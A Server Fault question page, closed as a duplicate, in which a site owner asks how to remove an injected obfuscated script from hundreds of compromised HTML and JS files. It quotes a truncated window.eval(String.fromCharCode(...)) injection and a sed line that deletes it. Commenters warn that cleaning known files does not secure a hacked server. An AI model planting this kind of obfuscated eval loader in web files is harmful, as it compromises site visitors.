Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

Possible Duplicate:
My server's been hacked EMERGENCY

I have following code in hundreds of my html and js files:

<script>/*km0ae9gr6m*/window.eval(String.fromCharCode(101,118,97,108,40,102,117............,41,59,10));/*qhk6sa6g1c*/</script

I need find and remove the above code using SED in bash. Just cannot figure out that how can i remove/replace string using sed, between a starting and specific ending string.

Thanks in advance

share|improve this question

marked as duplicate by Iain Aug 10 '12 at 9:33

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

1 Answer 1

up vote 0 down vote accepted

Nevermind. i got its solution just after posting the question :)

sed '/km0ae9gr6m/d' index.html

If above string portion is found, it will remove that line completely.

share|improve this answer
1  
This really doesn't solve your problem as your server has been compromised and without wiping it an reinstalling from a known good backup you can't be sure there aren't more backdoors. –  Iain Aug 10 '12 at 9:35
    
i have already closed all backdoors, its just few files in the backup were infected. so had to clean them up/ –  Farhan Aug 10 '12 at 9:49
1  
WRONG. You've closed all the known backdoors, and disinfected the files you know were infected. It's the unknown unknowns that get you. –  Tom O'Connor Aug 10 '12 at 10:51

Not the answer you're looking for? Browse other questions tagged or ask your own question.